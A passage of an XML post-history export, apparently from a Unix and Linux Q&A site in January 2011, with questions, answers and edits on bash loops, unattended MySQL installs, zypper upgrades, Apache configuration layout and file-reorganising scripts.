It would also be possible to set up Samba on the other RHEL box and then mount using `mount -t cifs ...` as if it were a Windows box." />
  <row Id="14800" PostHistoryTypeId="2" PostId="6476" RevisionGUID="cc107453-8d57-470e-a1a3-25b08df37936" CreationDate="2011-01-26T07:32:03.043" UserId="4196" Text="I believe you mean `cert7.db`.&#xD;&#xA;&#xD;&#xA;According to &lt;a href=&quot;http://www.mozilla.org/projects/security/pki/nss/db_formats.html&quot;&gt;mozilla&lt;/a&gt; it's not a fixed format.  But there are lots of results if you google for `cert7.db` or `edit cert7.db` or `create cert7.db` or `convert cert7.db` that should point you in the right direction." />
  <row Id="14801" PostHistoryTypeId="25" PostId="6457" RevisionGUID="2833d337-30e0-4bb7-811f-1759ba7e40ee" CreationDate="2011-01-26T07:55:52.007" Comment="http://twitter.com/#!/StackUnix/status/30172049406169088" />
  <row Id="14802" PostHistoryTypeId="2" PostId="6477" RevisionGUID="fdd06f84-beb8-4b79-9e4b-8dad737f22a5" CreationDate="2011-01-26T08:04:10.937" UserId="4199" Text="I'm using a bash commandline for-loop to concat a group of files together, and I'd like to append an incrementing digit.&#xD;&#xA;&#xD;&#xA;Something like this:&#xD;&#xA;&#xD;&#xA;`j=1;for i in *.bak; do echo {$j++: &gt;&gt; files.grp;cat $i &gt;&gt; files.grp; echo }, &gt;&gt; files.grp; done` &#xD;&#xA;&#xD;&#xA;So the output would like this: `{1:&quot;file1 contents&quot;},{2:&quot;file2 contents&quot;},`" />
  <row Id="14803" PostHistoryTypeId="1" PostId="6477" RevisionGUID="fdd06f84-beb8-4b79-9e4b-8dad737f22a5" CreationDate="2011-01-26T08:04:10.937" UserId="4199" Text="Using an incrementing variable in a bash command for loop?" />
  <row Id="14804" PostHistoryTypeId="3" PostId="6477" RevisionGUID="fdd06f84-beb8-4b79-9e4b-8dad737f22a5" CreationDate="2011-01-26T08:04:10.937" UserId="4199" Text="ébashà" />
  <row Id="14805" PostHistoryTypeId="4" PostId="6477" RevisionGUID="a29486d8-9631-4bb7-906f-fc5638646c3d" CreationDate="2011-01-26T08:09:22.240" UserId="4199" Comment="edited title" Text="Using an incrementing variable in a bash command line for loop?" />
  <row Id="14806" PostHistoryTypeId="2" PostId="6478" RevisionGUID="ad5b5fe2-94e8-49e9-9013-87ab19edde9d" CreationDate="2011-01-26T08:21:30.287" UserId="4200" Text="What you need to do is:&#xD;&#xA;&#xD;&#xA;    j=$(($j+1))&#xD;&#xA;&#xD;&#xA;or use&#xD;&#xA;&#xD;&#xA;    $((j++))" />
  <row Id="14807" PostHistoryTypeId="5" PostId="6477" RevisionGUID="cc1401f0-0d59-4958-b9ca-32b1b453f503" CreationDate="2011-01-26T08:32:52.267" UserId="3069" Comment="added 7 characters in body; edited tags" Text="I'm using a bash commandline for-loop to concat a group of files together, and I'd like to append an incrementing digit.&#xD;&#xA;&#xD;&#xA;Something like this:&#xD;&#xA;&#xD;&#xA;    j=1;for i in *.bak; do echo {$j++: &gt;&gt; files.grp;cat $i &gt;&gt; files.grp; echo }, &gt;&gt; files.grp; done&#xD;&#xA;&#xD;&#xA;So the output would like this: &#xD;&#xA;&#xD;&#xA;    {1:&quot;file1 contents&quot;},{2:&quot;file2 contents&quot;}," />
  <row Id="14808" PostHistoryTypeId="6" PostId="6477" RevisionGUID="cc1401f0-0d59-4958-b9ca-32b1b453f503" CreationDate="2011-01-26T08:32:52.267" UserId="3069" Comment="added 7 characters in body; edited tags" Text="écommandölineàébashà" />
  <row Id="14809" PostHistoryTypeId="2" PostId="6479" RevisionGUID="3b59b6de-7fa1-4534-99be-615106a2ee46" CreationDate="2011-01-26T08:43:28.520" UserId="3858" Text="I'm coding a bash script to automate the process of deploying VPS servers but I'm having some trouble while trying to install MySQL from either `aptitude`/`apt-get` or `yum`, this is what I have so far:&#xD;&#xA;&#xD;&#xA;    if [ &quot;$OS&quot; == 'centos' ]; then&#xD;&#xA;    	yum -y install  mysql-server &gt; /dev/null 2&gt;&amp;1&#xD;&#xA;    elif [ &quot;$OS&quot; == 'ubuntu' ]; then&#xD;&#xA;    	aptitude -y install mysql-server &gt; /dev/null 2&gt;&amp;1&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;It seems that the script keeps running ad infinitum, I suspect the problem is because the `mysql-server` package seems to bring up a wizard to specify the MySQL root password, but I've no idea how to overcome or fill the password from within the script.&#xD;&#xA;&#xD;&#xA;Does anyone know how I can work around this problem?" />
  <row Id="14810" PostHistoryTypeId="1" PostId="6479" RevisionGUID="3b59b6de-7fa1-4534-99be-615106a2ee46" CreationDate="2011-01-26T08:43:28.520" UserId="3858" Text="Install MySQL from Bash Script" />
  <row Id="14811" PostHistoryTypeId="3" PostId="6479" RevisionGUID="3b59b6de-7fa1-4534-99be-615106a2ee46" CreationDate="2011-01-26T08:43:28.520" UserId="3858" Text="ébashàéubuntuàépackageömanageràécentosàémysqlà" />
  <row Id="14812" PostHistoryTypeId="2" PostId="6480" RevisionGUID="959c2d10-5c1a-4bab-ad35-7a96ae4f7913" CreationDate="2011-01-26T08:54:12.603" UserId="252" Text="You can use the `DEBIAN_FRONTEND` environment variable.&#xD;&#xA;&#xD;&#xA;    DEBIAN_FRONTEND=noninteractive aptitude -y install mysql-server &gt; /dev/null 2&gt;&amp;1&#xD;&#xA;&#xD;&#xA;or if you will run more than 1 install you might want to add an export to the top of your script&#xD;&#xA;&#xD;&#xA;    export DEBIAN_FRONTEND=noninteractive&#xD;&#xA;    aptitude -y install mysql-server &gt; /dev/null 2&gt;&amp;1" />
  <row Id="14813" PostHistoryTypeId="2" PostId="6481" RevisionGUID="5c5bb00a-8e91-4b0a-a5b8-ac4c2ace8d52" CreationDate="2011-01-26T08:59:16.903" UserId="3069" Text="&#xD;&#xA;    # file1.bak&#xD;&#xA;    hallo&#xD;&#xA;&#xD;&#xA;    # some other file.bak&#xD;&#xA;    H?llo*&#xD;&#xA;&#xD;&#xA;    # a!file.bak&#xD;&#xA;    new!&#xD;&#xA;    line&quot;&#xD;&#xA;&#xD;&#xA;Processed with the script:&#xD;&#xA;&#xD;&#xA;    j=1&#xD;&#xA;    for i in *.bak; do&#xD;&#xA;      echo &quot;{$((j++)):$(cat &quot;$i&quot;)}&quot; &gt;&gt; files.grp&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Writes the following in files.grp:&#xD;&#xA;&#xD;&#xA;    {1:hallo}&#xD;&#xA;    {2:H?llo*}&#xD;&#xA;    {3:new!&#xD;&#xA;    line&quot;}&#xD;&#xA;" />
  <row Id="14814" PostHistoryTypeId="2" PostId="6482" RevisionGUID="f8b4b4d5-8ba9-4f06-9dcb-e044cb3e8bfd" CreationDate="2011-01-26T09:00:41.457" UserId="3858" Text="Can't you use `yum`?&#xD;&#xA;&#xD;&#xA;On Ubuntu doing `aptitude install php5-ffmpeg` seems to automatically install `ffmpeg` and all it's dependencies. Perhaps [the same package is available for CentOS][1]?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?q=yum+install+php5-ffmpeg" />
  <row Id="14815" PostHistoryTypeId="2" PostId="6483" RevisionGUID="0b68e4f5-81ee-4fc1-8c9e-5050be8b8709" CreationDate="2011-01-26T09:12:03.707" UserId="4202" Text="The case is that linux kernel is a hybrid of monolithic and microkernel.&#xD;&#xA;In a pure monolithic implementation there are no modules loading at runtime." />
  <row Id="14819" PostHistoryTypeId="5" PostId="6473" RevisionGUID="ce694e16-eb63-4a61-ae10-7d5c52855338" CreationDate="2011-01-26T10:09:00.953" UserId="3069" Comment="edited body; edited tags" Text="Hi Unix/Linux Gurus out there!&#xD;&#xA;&#xD;&#xA;I need a solid proof that TIME_WAIT (a lot of it actually) is the real culprit in the slowdown in one of our servers. The server is hosted on Parallels Baremetal virtualization, and the actual server is a VM: CentOS5 with dual CPU and 2GB RAM.&#xD;&#xA;&#xD;&#xA;A week ago, we started to notice that it was too slow that even doing an 'ls' on a directory with just a few files in there (around 20) would need around 1.5 seconds to display the results.&#xD;&#xA;&#xD;&#xA;I tried doing `vmstat` but it doesn't seem to be even using it's swap. No bottlenecks on the network. But running `top`, you'd see java mostly hogging the resource. Java is needed since this VM is our hudson server.&#xD;&#xA;&#xD;&#xA;One of my colleagues tried checking the connections via &#xD;&#xA;&#xD;&#xA;    $ vmstat -vatpno&#xD;&#xA;&#xD;&#xA;And noticed that there where a lot of connections in TIME_WAIT...around 300+. So we tried applying some of the recommendations in [this page][1] particularly that of TCP_FIN_TIMEOUT, TCP_KEEPALIVE_INTERVAL &amp; TCP_KEEPALIVE_PROBES. The connections in TIME_WAIT went lower but still fluctuates between 220 to 280(maybe due to the fact that a new connection is added from time to time and other connections in TIME_WAIT is not yet &quot;timed-out&quot;). Perhaps we could try adding TCP_TW_RECYCLE &amp; TCP_TW_REUSE later when we don't see any improvement.&#xD;&#xA;&#xD;&#xA;Now going back to my main question: is there a solid evidence that a lot of TIME_WAIT'ed connections eat up a lot of RAM?&#xD;&#xA;&#xD;&#xA;Thanks in advance.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.speedguide.net/articles/linux-tweaking-121" />
  <row Id="14820" PostHistoryTypeId="6" PostId="6473" RevisionGUID="ce694e16-eb63-4a61-ae10-7d5c52855338" CreationDate="2011-01-26T10:09:00.953" UserId="3069" Comment="edited body; edited tags" Text="écentosàétcpàévmstatà" />
  <row Id="14821" PostHistoryTypeId="6" PostId="4147" RevisionGUID="eaab398a-3032-4601-8c9b-f705881d71e9" CreationDate="2011-01-26T10:11:11.653" UserId="3069" Comment="edited tags" Text="éaixàéldapàésslà" />
  <row Id="14822" PostHistoryTypeId="6" PostId="4147" RevisionGUID="56ad6508-e7fa-475f-a57a-0ed8b2a79717" CreationDate="2011-01-26T10:20:06.910" UserId="3069" Comment="edited tags" Text="éfirefoxàéaixàéldapàésslà" />
  <row Id="14823" PostHistoryTypeId="25" PostId="6477" RevisionGUID="c88625c9-da83-4941-8926-5bba45daf635" CreationDate="2011-01-26T10:55:52.307" Comment="http://twitter.com/#!/StackUnix/status/30217349411905536" />
  <row Id="14824" PostHistoryTypeId="5" PostId="6437" RevisionGUID="6b0d82a0-3c3b-47e5-9bfb-70fe007f680e" CreationDate="2011-01-26T11:03:24.437" UserId="863" Comment="added 125 characters in body" Text="Crude version:&#xD;&#xA;&#xD;&#xA;    [ ${PWD:0:6} = &quot;/home/&quot; ]&#xD;&#xA;&#xD;&#xA;Has the disadvantage that one has to count characters first and one can't replace `/home/` by something general like `$1`.&#xD;&#xA;&#xD;&#xA;**edit** (thanks @Michael) for the generalization to compare with `$VAR` one can use&#xD;&#xA;&#xD;&#xA;    [ &quot;${PWD:0:${#VAR}}&quot; = $VAR ]" />
  <row Id="14825" PostHistoryTypeId="2" PostId="6485" RevisionGUID="e90e96b3-7894-4339-a092-313dac068858" CreationDate="2011-01-26T11:14:04.297" UserId="4204" Text="    IFS=$(echo -en '\t')&#xD;&#xA;    ls *.bak | nl |&#xD;&#xA;    while read line&#xD;&#xA;    do&#xD;&#xA;            set $line&#xD;&#xA;            echo -n &quot;{$1:&quot;&#xD;&#xA;            cat $2&#xD;&#xA;            echo &quot;}&quot;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Incrementing a variable in a for loop in shell is often a mistake.&#xD;&#xA;" />
  <row Id="14826" PostHistoryTypeId="25" PostId="6479" RevisionGUID="57a042d8-e68a-49e0-a93d-2a3bf166ca18" CreationDate="2011-01-26T13:55:51.993" Comment="http://twitter.com/#!/StackUnix/status/30262646653591552" />
  <row Id="14827" PostHistoryTypeId="2" PostId="6486" RevisionGUID="b88bb3bc-d98d-44ae-a620-5e2cbc484040" CreationDate="2011-01-26T14:04:09.193" UserId="3965" Text="Just take a look at x86 architecture -- monolithic kernel only uses [rings][1] 0 and 3. A waste, really. But than again it can be faster, because of less context switching. &#xD;&#xA;&#xD;&#xA;![x86 rings][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Ring_(computer_security)&#xD;&#xA;  [2]: http://i.imgur.com/1ygwK.png" />
  <row Id="14828" PostHistoryTypeId="2" PostId="6487" RevisionGUID="c94f45ec-1b8c-4272-9559-1093b14c3403" CreationDate="2011-01-26T14:10:03.947" UserId="3965" Text="You can use `xvfb-run your-command`. It takes care of set up and clean up.&#xD;&#xA;&#xD;&#xA;From the man page:&#xD;&#xA;&#xD;&#xA;&gt; xvfb-run is a wrapper for the Xvfb(1x)&#xD;&#xA;&gt; command which simplifies the task of&#xD;&#xA;&gt; running commands (typically an X&#xD;&#xA;&gt; client, or a script containing a list&#xD;&#xA;&gt; of clients to be run) within a virtual&#xD;&#xA;&gt; X server environment. xvfb-run sets up&#xD;&#xA;&gt; an X authority file, writes a cookie&#xD;&#xA;&gt; to it (see xauth(1x)) and then starts&#xD;&#xA;&gt; the Xvfb X server as a background&#xD;&#xA;&gt; process. The process ID of Xvfb is&#xD;&#xA;&gt; stored for later use. The specified&#xD;&#xA;&gt; command is then run using the X&#xD;&#xA;&gt; display corresponding to the Xvfb&#xD;&#xA;&gt; server just started and the X&#xD;&#xA;&gt; authority file created earlier.&#xD;&#xA;&gt; &#xD;&#xA;&gt; When the command exits, its status is&#xD;&#xA;&gt; saved, the Xvfb server is killed&#xD;&#xA;&gt; (using the process ID stored earlier),&#xD;&#xA;&gt; the X authority cookie removed, and&#xD;&#xA;&gt; the authority file deleted. xvfb-run&#xD;&#xA;&gt; then exits with the exit status of&#xD;&#xA;&gt; command." />
  <row Id="14829" PostHistoryTypeId="2" PostId="6488" RevisionGUID="b9731f21-02eb-4de0-9335-802b197b1855" CreationDate="2011-01-26T14:59:14.167" UserId="4211" Text="I have a virtual machine running of openSuse 11.2 that has mono 2.6.4, I use this VM as a test server to test asp.net applications under Apache mod_mono.&#xD;&#xA;&#xD;&#xA;I wanted to upgrade (in the same virtual machine) to mono 2.8.2. I downloaded several rpm files from http://ftp.novell.com/pub/mono/download-stable/openSUSE_11.2/i586/ but I'm in a dependency &quot;loop&quot;, don't know which package to install in the correct order...&#xD;&#xA;&#xD;&#xA;(Did I mention that I know very little of suse?)&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="14830" PostHistoryTypeId="1" PostId="6488" RevisionGUID="b9731f21-02eb-4de0-9335-802b197b1855" CreationDate="2011-01-26T14:59:14.167" UserId="4211" Text="How to upgrade mono on openSuse" />
  <row Id="14831" PostHistoryTypeId="3" PostId="6488" RevisionGUID="b9731f21-02eb-4de0-9335-802b197b1855" CreationDate="2011-01-26T14:59:14.167" UserId="4211" Text="élinuxàéopensuseàémonoàésoftwareöinstallationà" />
  <row Id="14832" PostHistoryTypeId="2" PostId="6489" RevisionGUID="17b3a73c-5ba9-4e87-9da5-b3828a98cfaa" CreationDate="2011-01-26T15:12:14.953" UserId="4212" Text="Go to [this page][1] at opensuse.org and click &quot;1-Click Install&quot; button on `mono-complete-2.8.2`. It is a usual user-friendly way to install packages on openSuSE.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://software.opensuse.org/search?q=mono-complete&amp;baseproject=openSUSE%3A11.2&amp;lang=en&amp;exclude_filter=home%3A&amp;exclude_debug=true" />
  <row Id="14833" PostHistoryTypeId="2" PostId="6490" RevisionGUID="2f219911-ffc3-48d4-8151-b5e1e29f515f" CreationDate="2011-01-26T15:16:11.887" UserId="3069" Text="You can either use `yast` (interactive) or `zypper` to directly update software from a repository. This will avoid any dependency problems.&#xD;&#xA;&#xD;&#xA;    zypper ref -f&#xD;&#xA;    zypper up [package]&#xD;&#xA;&#xD;&#xA;This will refresh the repository and then update the system. Adding a package after the update command is optional and can be used to only update a specific one." />
  <row Id="14834" PostHistoryTypeId="5" PostId="6490" RevisionGUID="5a16c675-1440-4177-9c8d-1d36b58a0dec" CreationDate="2011-01-26T15:23:30.347" UserId="3069" Comment="added 7 characters in body" Text="You can either use `yast` (interactive) or `zypper` to directly update software from a repository. This will avoid any dependency problems.&#xD;&#xA;&#xD;&#xA;    zypper ref -f&#xD;&#xA;    zypper up [package]&#xD;&#xA;&#xD;&#xA;This refreshes the repository and then updates the system. Adding a package after the `update` (`up`) command is optional and can be used to only update a specific one." />
  <row Id="14835" PostHistoryTypeId="5" PostId="6489" RevisionGUID="0d016d3e-4e64-4e19-8b08-bca09ce4361a" CreationDate="2011-01-26T15:24:34.890" UserId="4212" Comment="extended" Text="Go to [this page][1] at opensuse.org and click &quot;1-Click Install&quot; button on `mono-complete-2.8.2` meta package. Then all your loop dependencies will be solved automatically by YaST manager.&#xD;&#xA;&#xD;&#xA;It is a usual user-friendly way to install packages on openSuSE.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://software.opensuse.org/search?q=mono-complete&amp;baseproject=openSUSE%3A11.2&amp;lang=en&amp;exclude_filter=home%3A&amp;exclude_debug=true" />
  <row Id="14836" PostHistoryTypeId="5" PostId="6488" RevisionGUID="cbf0eeb0-a6ad-41b1-8bc8-586a886a28be" CreationDate="2011-01-26T15:31:45.563" UserId="4211" Comment="added 82 characters in body" Text="I have a virtual machine running of openSuse 11.2 that has mono 2.6.4, I use this VM as a test server to test asp.net applications under Apache mod_mono.&#xD;&#xA;&#xD;&#xA;I wanted to upgrade (in the same virtual machine) to mono 2.8.2. I downloaded several rpm files from http://ftp.novell.com/pub/mono/download-stable/openSUSE_11.2/i586/ but I'm in a dependency &quot;loop&quot;, don't know which package to install in the correct order...&#xD;&#xA;&#xD;&#xA;(Did I mention that I know very little of suse?)&#xD;&#xA;&#xD;&#xA;Edit: Is it possible to find a way to upgrade it without network connectivity?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="14837" PostHistoryTypeId="2" PostId="6491" RevisionGUID="f7ccfc12-9e82-4b96-acca-39305c559ff9" CreationDate="2011-01-26T15:46:13.170" UserId="3837" Text="I don't keep track of errors on my own boxes, but from the last 15 years here are my two work fatalities:&#xD;&#xA;&#xD;&#xA;**1995**: Standard 'rm -rf as root' failure on a single box (not my design!) acting as a combined NIS master server + sole DNS server for the company + primary SMTP/POP3 server for the company.  It was SunOS 4.1.3_U1 as I recall.  Unsurprisingly, like the witness to a horiffic crime, I do not remember the ensuing 48 hours.&#xD;&#xA;&#xD;&#xA;**1998**: Ran newfs (SunOS) on a production AFS (now OpenAFS) file server instead of the replacement we were standing up.  Spent the afternoon and night restoring from tape." />
  <row Id="14838" PostHistoryTypeId="2" PostId="6492" RevisionGUID="558893ba-8ed1-400a-a760-d2b949d0d58b" CreationDate="2011-01-26T16:01:26.587" UserId="3686" Text="Hi,&#xD;&#xA;&#xD;&#xA; I have a small VPS (256MB RAM, 12% cap CPU) with postfix installed that I use to host my mail domains. I want to run a mailing list manager, but would like to avoid mailman because of its big fingerprint. Plus, I sysadmin a couple of them and would like to try new things :-)&#xD;&#xA;&#xD;&#xA;Any recommendation?&#xD;&#xA;&#xD;&#xA;Thanks in advance." />
  <row Id="14839" PostHistoryTypeId="1" PostId="6492" RevisionGUID="558893ba-8ed1-400a-a760-d2b949d0d58b" CreationDate="2011-01-26T16:01:26.587" UserId="3686" Text="Recommended mailing list manager for use with Postfix" />
  <row Id="14840" PostHistoryTypeId="3" PostId="6492" RevisionGUID="558893ba-8ed1-400a-a760-d2b949d0d58b" CreationDate="2011-01-26T16:01:26.587" UserId="3686" Text="émailà" />
  <row Id="14841" PostHistoryTypeId="5" PostId="6492" RevisionGUID="8b11a616-d726-49a7-bd24-191ef54ca6db" CreationDate="2011-01-26T16:14:32.900" UserId="3069" Comment="added 4 characters in body; edited tags" Text="Hi,&#xD;&#xA;&#xD;&#xA; I have a small VPS (256MB RAM, 12% cap CPU) with `postfix` installed that I use to host my mail domains. I want to run a mailing list manager, but would like to avoid `mailman` because of its big fingerprint. Plus, I sysadmin a couple of them and would like to try new things :-)&#xD;&#xA;&#xD;&#xA;Any recommendation?&#xD;&#xA;&#xD;&#xA;Thanks in advance." />
  <row Id="14842" PostHistoryTypeId="6" PostId="6492" RevisionGUID="8b11a616-d726-49a7-bd24-191ef54ca6db" CreationDate="2011-01-26T16:14:32.900" UserId="3069" Comment="added 4 characters in body; edited tags" Text="ésoftwareörecàémailà" />
  <row Id="14843" PostHistoryTypeId="25" PostId="6488" RevisionGUID="efad0047-422f-4127-a628-5752973110fc" CreationDate="2011-01-26T16:55:54.127" Comment="http://twitter.com/#!/StackUnix/status/30307953252769792" />
  <row Id="14844" PostHistoryTypeId="6" PostId="6467" RevisionGUID="acc5c3a8-6b65-4fd0-8694-07906647f548" CreationDate="2011-01-26T16:58:25.117" UserId="3069" Comment="edited tags" Text="élinuxàékernelàéprogrammingà" />
  <row Id="14845" PostHistoryTypeId="6" PostId="6411" RevisionGUID="9aab1815-afac-443a-80cf-a6fb37923387" CreationDate="2011-01-26T17:00:35.660" UserId="3069" Comment="edited tags" Text="éshellàédirectoryàésyncà" />
  <row Id="14846" PostHistoryTypeId="6" PostId="6403" RevisionGUID="8959cafa-1441-4c76-9ddf-94347f43923b" CreationDate="2011-01-26T17:02:07.530" UserId="3069" Comment="edited tags" Text="ésoftwareörecàévideoöeditingà" />
  <row Id="14847" PostHistoryTypeId="6" PostId="6420" RevisionGUID="132ac836-cfa8-45c2-bd02-19ba570b2615" CreationDate="2011-01-26T17:03:42.987" UserId="3069" Comment="edited tags" Text="édebianàéinstallà" />
  <row Id="14848" PostHistoryTypeId="6" PostId="6362" RevisionGUID="611cd608-b84b-4069-977a-684a3eb17bab" CreationDate="2011-01-26T17:06:25.933" UserId="3069" Comment="edited tags" Text="édebianàésudoàérootà" />
  <row Id="14849" PostHistoryTypeId="2" PostId="6493" RevisionGUID="5410b37c-0ae8-4a28-98aa-a752217a1ac1" CreationDate="2011-01-26T17:48:50.537" UserId="431" Text="The main apache config file is in /etc/httpd/conf/httpd.conf on my CentOS system an in there is a line: Include conf.d/*.conf&#xD;&#xA;&#xD;&#xA;Inside conf.d is mostly files that do something like this:&#xD;&#xA;&#xD;&#xA;LoadModule auth_kerb_module modules/mod_auth_kerb.so&#xD;&#xA;&#xD;&#xA;But there are also other sites that are setup in there to and have their own config files. Was this not well thought out or am I missing something?" />
  <row Id="14850" PostHistoryTypeId="1" PostId="6493" RevisionGUID="5410b37c-0ae8-4a28-98aa-a752217a1ac1" CreationDate="2011-01-26T17:48:50.537" UserId="431" Text="Why put some config info in conf/httpd.conf and some in files in the conf.d folder?" />
  <row Id="14851" PostHistoryTypeId="3" PostId="6493" RevisionGUID="5410b37c-0ae8-4a28-98aa-a752217a1ac1" CreationDate="2011-01-26T17:48:50.537" UserId="431" Text="éapacheà" />
  <row Id="14852" PostHistoryTypeId="5" PostId="6493" RevisionGUID="737de721-7b09-4892-9060-bc9078850d98" CreationDate="2011-01-26T18:02:53.390" UserId="3069" Comment="added 13 characters in body; edited tags" Text="The main apache config file is in `/etc/httpd/conf/httpd.conf` on my CentOS system an in there is a line:&#xD;&#xA;&#xD;&#xA;    Include conf.d/*.conf&#xD;&#xA;&#xD;&#xA;Inside conf.d is mostly files that do something like this:&#xD;&#xA;&#xD;&#xA;    LoadModule auth_kerb_module modules/mod_auth_kerb.so&#xD;&#xA;&#xD;&#xA;But there are also other sites that are setup in there to and have their own config files. Was this not well thought out or am I missing something?" />
  <row Id="14853" PostHistoryTypeId="6" PostId="6493" RevisionGUID="737de721-7b09-4892-9060-bc9078850d98" CreationDate="2011-01-26T18:02:53.390" UserId="3069" Comment="added 13 characters in body; edited tags" Text="écentosàéapacheà" />
  <row Id="14854" PostHistoryTypeId="2" PostId="6494" RevisionGUID="1a78b6ae-02de-4970-a456-04ad3628f121" CreationDate="2011-01-26T18:04:31.423" UserId="4216" Text="Here's my attempt at an answer.  As a forewarning, all my scripting experience comes from bash, so if you are using a different shell, the command names or syntax may be different.&#xD;&#xA;&#xD;&#xA;This solution requires creating two seperate scripts.&#xD;&#xA;&#xD;&#xA;This first script is responsible for actually moving the files on the destination drive.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    md5_map_file=&quot;&lt;absolute-path-to-a-temporary-file&gt;&quot;&#xD;&#xA;    &#xD;&#xA;    # Given a single line from the md5 map file, list&#xD;&#xA;    # only the path from that line.&#xD;&#xA;    get_file()&#xD;&#xA;    {&#xD;&#xA;      echo $2&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    # Given an md5, list the filename from the md5 map file&#xD;&#xA;    get_file_from_md5()&#xD;&#xA;    {&#xD;&#xA;      # Grab the line from the md5 map file that has the&#xD;&#xA;      # md5 sum passed in and call get_file() with that line.&#xD;&#xA;      get_file `cat $md5_map_file | grep $1`&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    file=$1&#xD;&#xA;    &#xD;&#xA;    # Compute the md5&#xD;&#xA;    sum=`md5sum $file`&#xD;&#xA;    &#xD;&#xA;    # Get the new path for the file&#xD;&#xA;    new_file=`get_file_from_md5 $sum`&#xD;&#xA;    &#xD;&#xA;    # Make sure the destination directory exists&#xD;&#xA;    mkdir -p `dirname $new_file`&#xD;&#xA;    # Move the file, prompting if the move would cause an overwrite&#xD;&#xA;    mv -i $file $new_file&#xD;&#xA;&#xD;&#xA;The second script creates the md5 map file used by the first script and then calls the first script on every file in the destination drive.&#xD;&#xA;&#xD;&#xA;    # Do not put trailing /&#xD;&#xA;    src=&quot;&lt;absolute-path-to-source-drive&gt;&quot;&#xD;&#xA;    dst=&quot;&lt;absolute-path-to-destination-drive&gt;&quot;&#xD;&#xA;    script_path=&quot;&lt;absolute-path-to-the-first-script&gt;&quot;&#xD;&#xA;    md5_map_file=&quot;&lt;same-absolute-path-from-first-script&gt;&quot;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    # This command searches through the source drive&#xD;&#xA;    # looking for files.  For every file it finds,&#xD;&#xA;    # it computes the md5sum and writes the md5 sum and&#xD;&#xA;    # the path to the found filename to the filename stored&#xD;&#xA;    # in $md5_map_file.&#xD;&#xA;    # The end result is a file listing the md5 of every file&#xD;&#xA;    # on the source drive&#xD;&#xA;    cd $src&#xD;&#xA;    find . -type f -exec md5sum &quot;{}&quot; \; &gt; $md5_map_file&#xD;&#xA;    &#xD;&#xA;    # This command searches the destination drive for files and calls the first&#xD;&#xA;    # script for every file it finds.&#xD;&#xA;    cd $dst&#xD;&#xA;    find . -type f -exec $script_path '{}' \; &#xD;&#xA;&#xD;&#xA;Basically, what is going on is the two scripts similuate an associative array with `$md5_map_file`.  First, all the md5s for the files on the source drive are computed and stored.  Associated with the md5s are the relative paths from the drive's root.  Then, for each file on the destination drive, the md5 is computed.  Using this md5, the path of that file on the source drive is looked up.  The file on the destination drive is then moved to match the path of the file on the source drive.&#xD;&#xA;&#xD;&#xA;There are a couple of caveats with this script:&#xD;&#xA;&#xD;&#xA; - It assumes that every file in $dst is also in $src&#xD;&#xA; - It does not remove any directories from $dst, only moves the files.  I am currently unable to think of a safe way to do this automatically&#xD;&#xA;&#xD;&#xA;Good luck and I hope this helped." />
  <row Id="14855" PostHistoryTypeId="2" PostId="6495" RevisionGUID="592c3db1-f9f2-41e4-9c55-d128d6fb497b" CreationDate="2011-01-26T18:09:04.420" UserId="1571" Text="I've found that there's not a very well documented specification on where exactly what configuration files go in apache. Especially since they've recently changed how the default does it. Did you install from source or from a package? Packages, especially debian packages, seem to not follow the apache source at all.&#xD;&#xA;&#xD;&#xA;It's been a while since I've done much with apache, but if I remember, conf.d/ is where you would put loading the daemon modules like what you've posted, or ffi or stuff like that.&#xD;&#xA;&#xD;&#xA;While conf/ is where site specific configuration files go.&#xD;&#xA;&#xD;&#xA;This is what mine looks like, this is installed from source.&#xD;&#xA;&#xD;&#xA;     % ll /opt/apache2&#xD;&#xA;    drwxr-xr-x  2 root 4.0K 2010-10-25 14:14 bin/&#xD;&#xA;    drwxr-xr-x  2 root 4.0K 2010-10-25 14:14 build/&#xD;&#xA;    drwxr-xr-x  2 root 4.0K 2010-10-25 14:14 cgi-bin/&#xD;&#xA;    drwxr-xr-x  4 root 4.0K 2010-10-28 15:54 conf/&#xD;&#xA;    drwxr-xr-x  3 root 4.0K 2010-10-25 14:14 error/&#xD;&#xA;    drwsrwxrwx  3 www  4.0K 2010-10-28 13:06 htdocs/&#xD;&#xA;    drwxr-xr-x  3 root 4.0K 2010-10-25 14:14 icons/&#xD;&#xA;    drwxr-xr-x  2 root 4.0K 2010-10-25 14:14 include/&#xD;&#xA;    drwxr-xr-x  3 root 4.0K 2010-10-25 14:14 lib/&#xD;&#xA;    drwxr-xr-x  3 root 4.0K 2010-10-28 16:11 logs/&#xD;&#xA;    drwxr-xr-x  4 root 4.0K 2010-10-25 14:14 man/&#xD;&#xA;    drwxr-xr-x 14 root  12K 2010-10-14 11:45 manual/&#xD;&#xA;    drwxr-xr-x  2 root 4.0K 2010-10-25 14:20 modules/&#xD;&#xA;     % ll /opt/apache2/conf&#xD;&#xA;    total 88K&#xD;&#xA;    drwxr-xr-x 2 root 4.0K 2010-10-28 15:55 extra/&#xD;&#xA;    drwxr-xr-x 3 root 4.0K 2010-10-25 14:14 original/&#xD;&#xA;    -rw-r--r-- 1 root  14K 2010-10-28 15:54 httpd.conf&#xD;&#xA;    -rw-r--r-- 1 root  13K 2010-10-25 14:14 magic&#xD;&#xA;    -rw-r--r-- 1 root  45K 2010-10-25 14:14 mime.types&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;    % ll /opt/apache2/conf/extra&#xD;&#xA;    total 60K&#xD;&#xA;    -rw-r--r-- 1 root  179 2010-10-28 15:31 20_mod_fastcgi.conf&#xD;&#xA;    -rw-r--r-- 1 root 2.8K 2010-10-25 14:14 httpd-autoindex.conf&#xD;&#xA;    -rw-r--r-- 1 